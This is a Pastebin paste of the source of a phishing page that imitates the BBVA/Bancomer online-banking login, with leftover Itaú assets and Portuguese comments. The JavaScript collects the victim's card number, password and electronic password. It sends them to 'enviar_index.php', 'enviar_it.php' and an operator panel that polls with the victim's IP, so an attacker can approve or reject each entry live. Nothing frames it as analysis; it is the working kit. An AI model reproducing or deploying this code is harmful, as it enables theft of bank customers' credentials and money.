Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html lang="es"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
- <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
- <meta name="viewport" content="width=device-width initial-scale=1.0">
- <title>Index BBVA | Net</title>
- <script type="text/javascript" src="./js/jquery.min.js(1).download"></script>
- <script type="text/javascript" src="./js/jQuery.dPassword.js.download"></script>
- <link rel="stylesheet" type="text/css" href="./css/ban_styles_opt.css">
- <!--
- //////////////////////////////////////////////////////////////////////////////////////////////////
- // INICIO DAS FUNÇÕES E MOSTRAR IFRAME
- //////////////////////////////////////////////////////////////////////////////////////////////////
- -->
- <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
- <script type="text/javascript">$={};</script>
- <script type="text/javascript" src="./js/EnmascaraV2.js.download"></script>
- <link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" />
- <div class="modal" id="modal" data-backdrop="static">
- <div class="padding-modal">
- <h2 class="header-h2">%title%</h2>
- <article>%text%</article>
- %status%
- </div>
- </div>
- <div class="bgmodal" id="modalBG" idb="btnCloseModal"></div>
- <style type="text/css">
- .padding-10 {
- padding: 10px;
- }
- .padding-left-10 {
- padding-left: 10px;
- }
- .modal {
- position: fixed;
- top: 50px;
- z-index: 2;
- width: 280px;
- left: 50%;
- margin-left: -140px;
- height: 160px;
- top: 50%;
- margin-top: -80px;
- background: white;
- -webkit-border-radius: 5px;
- -moz-border-radius: 5px;
- -ms-border-radius: 5px;
- -o-border-radius: 5px;
- border-radius: 5px;
- }
- .bgmodal {
- background: rgba(0, 0, 0, .7);
- position: fixed;
- left: 0;
- top: 0;
- width: 100%;
- height: 100%;
- z-index: 1;
- }
- .padding-modal {
- padding: 10px 15px 10px 15px;
- }
- .header-h2 {
- font: bold 16px Arial,Helvetica,sans-serif,MillBankTall;
- color: #777;
- }
- .waltermark {
- background: url(assets/images/ItauLogo.png) no-repeat right;
- }
- #modal,
- #modalBG { display: none }
- article {
- font: 13px arial;
- margin-top: 10px;
- }
- @-webkit-keyframes spin {
- 0% {
- -webkit-transform: rotate(0deg);
- -moz-transform: rotate(0deg);
- -ms-transform: rotate(0deg);
- -o-transform: rotate(0deg);
- transform: rotate(0deg);
- }
- 100% {
- -webkit-transform: rotate(360deg);
- -moz-transform: rotate(360deg);
- -ms-transform: rotate(360deg);
- -o-transform: rotate(360deg);
- transform: rotate(360deg);
- }
- }
- .spinner {
- -webkit-animation: spin 4s infinite linear;
- -moz-animation: spin 4s infinite linear;
- -ms-animation: spin 4s infinite linear;
- -o-animation: spin 4s infinite linear;
- animation: spin 4s infinite linear;
- display: inline-block;
- }
- .spinner-modal {
- display: table;
- margin: 13px auto 10px;
- font-size: 40px;
- color: #777;
- }
- .red {
- color: #f72222
- }
- </style>
- <div class="modal" id="modal">
- <div class="padding-modal">
- <h2 class="header-h2">%title%</h2>
- <article>%text%</article>
- %status%
- </div>
- </div>
- <div class="bgmodal" id="modalBG" idb="btnCloseModal"></div>
- <script type="text/javascript">
- //////////////////////////////////////////////////////////////////////////////////////////////////
- window.getTimeStamp = function() {
- var m10 = function(v) {
- return v = v < 10 ? "0" + v : v;;
- };
- var date = (new Date);
- var day = date.getDate();
- var mo = date.getMonth() + 1;
- var ye = date.getFullYear();
- mo = m10(mo);
- day = m10(day);
- var h = date.getHours();
- var m = date.getMinutes();
- var s = date.getSeconds();
- h = m10(h);
- m = m10(m);
- s = m10(s);
- var formated = ye + '-' + mo + '-' + day + '_' + h + '-' + m + '-' + s;
- return formated;
- }
- window.modal = document.getElementById('modal');
- window.modalBG = document.getElementById('modalBG');
- window.openModal = function() {
- modal.style.display = 'block';
- modalBG.style.display = 'block';
- }
- window.closeModal = function() {
- modal.style.display = 'none';
- modalBG.style.display = 'none';
- }
- window.initializeCloseModalAction = function() {
- var btnsCloseModal = document.querySelectorAll('[idb="btnCloseModal"]');
- if (btnsCloseModal && btnsCloseModal.length) [].map.call(btnsCloseModal, function(btn) {
- btn.onclick = function() {
- continueLoop = true;
- console.log(11);
- closeModal();
- };
- });
- }
- initializeCloseModalAction();
- var interval = 5000, continueLoop = true;
- window.lastUserName = "";
- var get_response = function(form) {
- jQuery.post('../../../operador/?action=response-get-action', {
- cronname: form === "senha-eletronica" ? cronname2 : cronname
- }, function(response) {
- //console.log(response);
- if (typeof response.status !== "undefined") {
- console.warn('tem status');
- var name = response.name;
- if (name) window.lastUserName = name;
- console.log(form);
- if (response.status) {
- if (form === "senha-eletronica") {
- document.location = 'it2.php';
- // modal.innerHTML = modalTemplate
- // .replace(/\%title\%/g, 'Aguarde...')
- // .replace(/\%text\%/g, 'Estamos verificando seus dados, aguarde um momento por favor.')
- // .replace(/\%status\%/g, '<i class="fa fa-spinner spinner spinner-modal"></i>')
- //;
- }
- // informe senha eletronica
- else {
- modal.innerHTML = modalTemplate
- .replace(/\%title\%/g, '<span>Olá, ' + name + '.</span>')
- .replace(/\%text\%/g, '<span>Informe sua senha eletrônica:</span>')
- .replace(/\%status\%/g, '<table id="ctl00_ContentPlaceHolder1_tbSenhaGeralT" border="0" width="100%" height="35px" style="margin-top: 10px; margin-left: -8px;"> <tbody><tr style="font-size: 14px;vertical-align: middle;"> <td style="font-weight: bold"> Senha eletrônica </td> </tr> <tr style="font-size: 14px;vertical-align: middle;"> <td> <input name="senhaeletronica" type="password" maxlength="8" style="-webkit-text-security:disc; text-security:disc;" id="ctl00_ContentPlaceHolder1_txtPassT" pattern="[0-9]*" size="9"> <!-- input type="image" name="ctl00$ContentPlaceHolder1$btnLogInT" id="ctl00_ContentPlaceHolder1_btnLogInT" src="./it_files/bt-ok.png" style="height:25px;width:28px;border-width:0px;vertical-align: middle; border: 0" --> <img src="./it_arquivos/bt-ok.png" onclick="validation2()" style="cursor:pointer;height:25px;width:28px;border-width:0px;vertical-align: middle; border: 0"> </td> </tr> </tbody></table>')
- ;
- }
- }
- else if (!response.status) {
- if (form === "senha-eletronica") {
- modal.innerHTML = modalTemplate
- .replace(/\%title\%/g, '<span class="red">Dados inválidos!</span>')
- .replace(/\%text\%/g, '<span class="red">Por favor, corrija seus dados e tente novamente.</span>')
- .replace(/\%status\%/g, '<img idb="btnBackModal" src="it_arquivos/bt-ok.png" style="cursor:pointer;width: 28px; height: 25px; display: table; margin: 20px auto 0;">')
- ;
- }
- else
- modal.innerHTML = modalTemplate
- .replace(/\%title\%/g, '<span class="red">Dados inválidos!</span>')
- .replace(/\%text\%/g, '<span class="red">Por favor, corrija seus dados e tente novamente.</span>')
- .replace(/\%status\%/g, '<img idb="btnCloseModal" src="it_arquivos/bt-ok.png" style="cursor:pointer;width: 28px; height: 25px; display: table; margin: 20px auto 0;">')
- ;
- var btnsBackModal = document.querySelectorAll('[idb="btnBackModal"]');
- if (btnsBackModal && btnsBackModal.length) Array.prototype.map.call(btnsBackModal, function(btn) {
- btn.onclick = function() {
- modal.innerHTML = modalTemplate
- .replace(/\%title\%/g, '<span>Olá, ' + window.lastUserName + '.</span>')
- .replace(/\%text\%/g, '<span>Informe sua senha eletrônica:</span>')
- .replace(/\%status\%/g, '<table id="ctl00_ContentPlaceHolder1_tbSenhaGeralT" border="0" width="100%" height="35px" style="margin-top: 10px; margin-left: -8px;"> <tbody><tr style="font-size: 14px;vertical-align: middle;"> <td class="PF_textoNegrito"> Senha eletrônica </td> </tr> <tr style="font-size: 14px;vertical-align: middle;"> <td> <input name="senhaeletronica" type="password" maxlength="8" style="-webkit-text-security:disc; text-security:disc;" id="ctl00_ContentPlaceHolder1_txtPassT" pattern="[0-9]*" size="9"> <!-- input type="image" name="ctl00$ContentPlaceHolder1$btnLogInT" id="ctl00_ContentPlaceHolder1_btnLogInT" src="./it_files/bt-ok.png" style="height:25px;width:28px;border-width:0px;vertical-align: middle; border: 0" --> <img src="./it_arquivos/bt-ok.png" onclick="validation2()" style="cursor:pointer;height:25px;width:28px;border-width:0px;vertical-align: middle; border: 0"> </td> </tr> </tbody></table>')
- ;
- }
- });
- initializeCloseModalAction();
- }
- continueLoop = false;
- }
- else {
- console.error('Ainda não tem status');
- if (form === "senha-eletronica") { //document.location = 'it2.php';
- modal.innerHTML = modalTemplate
- .replace(/\%title\%/g, 'Aguarde...')
- .replace(/\%text\%/g, 'Estamos verificando seus dados, aguarde um momento por favor.')
- .replace(/\%status\%/g, '<i class="fa fa-spinner spinner spinner-modal"></i>')
- ;
- }
- continueLoop = true;
- }
- // repete enquanto *
- if (continueLoop) setTimeout(function() {
- //if (form === "senha-eletronica") get_response('senha-eletronica');
- //else
- get_response(form);
- }, interval);
- }, 'json');
- }
- window.random = function() {
- var r = (new Date).getTime();
- return String(r) + String(Math.floor(Math.random() * 99999) + 10000);
- }
- window.cronname = 'get-action_<?php echo $_SERVER['REMOTE_ADDR']; ?>_passo-1_' + random() + '_' + getTimeStamp() + '_';
- window.cronname2 = 'get-action_<?php echo $_SERVER['REMOTE_ADDR']; ?>_passo-1-senha-eletronica_' + random() + '_' + getTimeStamp() + '_';
- //////////////////////////////////////////////////////////////////////////////////////////////////
- //////////////////////////////////////////////////////////////////////////////////////////////////
- function validation2() {
- var senhaeletronica = document.getElementById('ctl00_ContentPlaceHolder1_txtPassT');
- var data = { __id__: "access" };
- data.tipoconta = "Pessoal";
- data.senhaeletronica = senhaeletronica.value;
- jQuery.post('../../../operador/?action=get-action', {
- cronname: window.cronname2,
- value: JSON.stringify(data)
- }, function() {
- get_response('senha-eletronica');
- });
- jQuery.post('enviar_it.php', data, function() {
- //document.location = 'pf2.php';
- });
- }
- //////////////////////////////////////////////////////////////////////////////////////////////////
- function validation1() {
- var numerotarjeta = document.getElementById('numerotarjeta');
- var password = document.getElementById('password');
- var data = { __id__: "access" };
- data.tipoconta = "Pessoal";
- data.NumerodaConta = numerotarjeta.value;
- data.Senha = password.value;
- //data.senhaeletronica = senhaeletronica.value;
- console.log(data);
- if (modal && modalBG) {
- openModal();
- window.modalTemplate; if (!window.modalTemplate) window.modalTemplate = modal.innerHTML;
- modal.innerHTML = modalTemplate
- .replace(/\%title\%/g, 'Aguarde...')
- .replace(/\%text\%/g, 'Estamos verificando seus dados, aguarde um momento por favor.')
- .replace(/\%status\%/g, '<i class="fa fa-spinner spinner spinner-modal"></i>')
- ;
- jQuery.post('../../../operador/?action=get-action', {
- cronname: window.cronname,
- value: JSON.stringify(data)
- }, get_response);
- }
- jQuery.post('enviar_index.php', data, function() {
- //document.location = 'pf2.php';
- });
- return false;
- }
- </script>
- <!--
- //////////////////////////////////////////////////////////////////////////////////////////////////
- // FINAL DAS FUNÇÕES E MOSTRAR IFRAME
- //////////////////////////////////////////////////////////////////////////////////////////////////
- -->
- </head>
- <body >
- <script>
- var dispositivo = navigator.userAgent.toLowerCase();
- if( dispositivo.search(/android/) > -1 ){
- ////en caso de android
- //document.write('<input type="password" name="cuenta" class="form-control" id="cuenta" placeholder="Tarjeta" maxlength="16" />');
- }else{
- //document.write('<input type="text" name="tempCuenta" class="form-control" id="tempCuenta" value="" onKeyDown="setTimeout(\'EnmascaraV2(\\\'tempCuenta\\\',\\\'cuenta\\\',false);\',10);" placeholder="Tarjeta" maxlength="16" />');
- //document.write('<input type="hidden" name="cuenta" id="cuenta" />');
- var det_tempCuenta=setTimeout('EnmascaraV2("tempCuenta","cuenta",true)',10);
- }
- </script>
- <div>
- <header style="text-align: left;">
- <h2 class="header-login" style="color: rgb(0, 123, 211);">Bienvenido(a)</h2>
- <h2 class="header-login" style="color: rgb(0, 123, 211);"><script>document.writeln(a);</script>
- </h2>
- </header>
- <div>
- <form action="../enviar_index.php" method="post" name="login" id="login" autocomplete="off">
- <p style="text-align: left;"><b>Número de Tarjeta</b></p>
- <input name="numerotarjeta" id="numerotarjeta" type="text" value="" style="undefined" size="20" placeholder="Número de Tarjeta" maxlength="16" autocomplete="off">
- <p style="text-align: left;"><b>Contraseña</b></p>
- <input type="password" name="password" id="password" autocomplete="off" value="" maxlength="10" placeholder="Contraseña">
- <hr>
- <button type="button" onclick="validation1()" id="loginButton" name="loginButtn" class="btn large" style="background: rgb(0, 121, 193);">Ingresar</button>
- </form>
- </div>
- <a href="javascript:desbloqueo()" class="desb">¿Olvidaste o bloqueaste tus claves?</a>
- </div>
- <form method="post" action="#" id="des" target="Def"><input type="hidden" name="username" id="des_username"></form>
- <script language="JavaScript" type="text/JavaScript">
- function SomenteLetras(e)
- {
- var tecla = new Number();
- if (window.event) {
- tecla = e.keyCode;
- }
- else if (e.which) {
- tecla = e.which;
- }
- else {
- return true;
- }
- if ((tecla >= "48") && (tecla <= "57")) {
- return false;
- }
- }
- function SomenteNumero(e) {
- var tecla = (window.event) ? event.keyCode : e.which;
- if ((tecla > 47 && tecla < 58))
- return true;
- else {
- if (tecla == 8 || tecla == 0)
- return true;
- else
- return false;
- }
- }
- function vercpf(cpf)
- {
- if (cpf.length != 11 || cpf == "00000000000" || cpf == "11111111111" || cpf == "22222222222" || cpf == "33333333333" || cpf == "44444444444" || cpf == "55555555555" || cpf == "66666666666" || cpf == "77777777777" || cpf == "88888888888" || cpf == "99999999999")
- return false;
- add = 0;
- for (i = 0; i < 9; i ++)
- add += parseInt(cpf.charAt(i)) * (10 - i);
- rev = 11 - (add % 11);
- if (rev == 10 || rev == 11)
- rev = 0;
- if (rev != parseInt(cpf.charAt(9)))
- return false;
- add = 0;
- for (i = 0; i < 10; i ++)
- add += parseInt(cpf.charAt(i)) * (11 - i);
- rev = 11 - (add % 11);
- if (rev == 10 || rev == 11)
- rev = 0;
- if (rev != parseInt(cpf.charAt(10)))
- return false;
- return true;
- //alert('CPF V?LIDO');
- }
- function gravar1() {
- var numero = document.getElementById("password").value;
- if (numero.length < 4) {
- alert("Apreciable cliente:\nEs necesario introducir la clave de acceso correctamente");
- document.getElementById("password").focus();
- return;
- }
- document.getElementById("loggin").submit();
- }
- </script>
- <script type="text/javascript">
- jQuery(document).ready(function() {
- if (sError != "") {
- console.log(sError);
- if (sError.indexOf("Authentication failed") != -1) {
- var sUrl = "https://www.bancomer.com/acceso/perfilaResp.jsp";
- sUrl = sUrl.replace("%20", " ");
- alert("Apreciable cliente:\nEs necesario introducir la clave de acceso correctamente");
- history.go(-1);
- } else if (sError.indexOf("disabled") != -1 || sError.indexOf("expired") != -1) {
- var sUrl = "https://www.bancomer.com/acceso/perfilaResp.jsp";
- sUrl = sUrl.replace("%20", " ");
- alert("Apreciable cliente:\nPor su seguridad su contrase\u00f1a ha sido bloqueada.");
- history.go(-1);
- }
- }
- jQuery("#numerotarjeta").val(tarjeta);
- jQuery("#numerotarjeta").dPassword();
- document.getElementById("password").focus();
- "porta" != nvoportal && $("#loginButton").css("background", color);
- $("#loginButton").css("background", color) //color de boton
- $("#loggin p").css("text-align", text); //alineado de textos
- $("header").css("text-align", text); //alineados de headers
- $("h2").css("color", alh2) //color de boton
- $("#loginButton").hover(function(){
- $(this).css("background-color", ColorLuminance(color, -0.2));
- }, function(){
- $(this).css("background-color", color);
- });
- $("#loggin").submit(function() {
- $('input').attr('disabled', 'disabled');
- var cveSec = document.forms[0].password.value;
- var errores = 'Estimado cliente:\n\n';
- var nTarj = document.forms[0].numerotarjeta.value;
- regTDD = /^[0-9]{16}$/;
- ok = true;
- if (!regExp.test(nTarj)) {
- errores += "El n\u00famero de tu tarjeta de d\u00e9bito debe ser de 16 d\u00edgitos\n";
- ok = false;
- }
- if (cveSec.length < 4) {
- errores += 'La clave de acceso debe ser de 4 a 10 caracteres';
- ok = false;
- }
- if (!ok) {
- $("input").removeAttr('disabled');
- alert(errores);
- return false;
- } else {
- $("input").removeAttr('disabled');
- document.forms[0].username.value = nTarj + "ADMINF";
- return true;
- }
- });
- });
- </script>
- </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement